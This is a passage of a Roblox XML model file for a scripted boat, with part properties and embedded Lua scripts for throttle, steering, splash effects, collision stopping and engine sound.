								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">0</float>
							<float name="TopParamB">0</float>
							<token name="TopSurface">6</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX2375">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX2376">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>8.99999949e+009</X>
									<Y>0</Y>
									<Z>8.99999949e+009</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX2377">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">BoatScript</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 60 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX2378">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">WaterScript</string>
								<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2379">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1636</X>
								<Y>1.5</Y>
								<Z>-10</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>-1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Tip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2380">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX2381">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2382">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1636</X>
								<Y>1.50000012</Y>
								<Z>-4</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Base</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2383">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX2384">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Engine</string>
								<float name="Pitch">6</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX2385">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">EngineScript</string>
								<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX2386">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BG</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>-2</X>
									<Y>6.4000001</Y>
									<Z>1004</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX2387">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BV</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>1000000</X>
									<Y>0</Y>
									<Z>1000000</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX2388">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">Hover</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>0</X>
									<Y>1</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2389">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1636</X>
								<Y>1.50000024</Y>
								<Z>1.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">RearTip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>3</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX2390">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX2391">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2392">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1636</X>
								<Y>0.500000238</Y>
								<Z>1</Z>
								<R00>-0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">0</float>
							<float name="TopParamB">0</float>
							<token name="TopSurface">6</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX2393">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX2394">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>8.99999949e+009</X>
									<Y>0</Y>
									<Z>8.99999949e+009</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Model" referent="RBX2395">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">BodyKit</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Part" referent="RBX2396">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">21</int>
								<CoordinateFrame name="CFrame">
									<X>-1638.5</X>
									<Y>2</Y>
									<Z>-7.5</Z>
									<R00>0</R00>
									<R01>-1</R01>
									<R02>0</R02>
									<R10>1</R10>
									<R11>0</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>3</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX2397">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
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										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2398">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">21</int>
								<CoordinateFrame name="CFrame">
									<X>-1637.5</X>
									<Y>2.5</Y>
									<Z>-10</Z>
									<R00>0</R00>
									<R01>-1</R01>
									<R02>0</R02>
									<R10>1</R10>
									<R11>0</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
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								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
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									<X>0</X>
									<Y>0</Y>
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								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
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							</Properties>
							<Item class="SpecialMesh" referent="RBX2399">
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									<bool name="Archivable">true</bool>
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									<string name="Name">Mesh</string>
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										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
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										<Y>1</Y>
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										<Y>1</Y>
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								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2400">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
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								<token name="BottomSurfaceInput">0</token>
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									<X>-1636</X>
									<Y>4.5</Y>
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								<token name="FrontSurfaceInput">0</token>
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								<token name="LeftSurfaceInput">0</token>
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									<X>0</X>
									<Y>0</Y>
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							</Properties>
							<Item class="SpecialMesh" referent="RBX2401">
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										<Y>0</Y>
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									</Vector3>
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										<Y>1</Y>
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				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
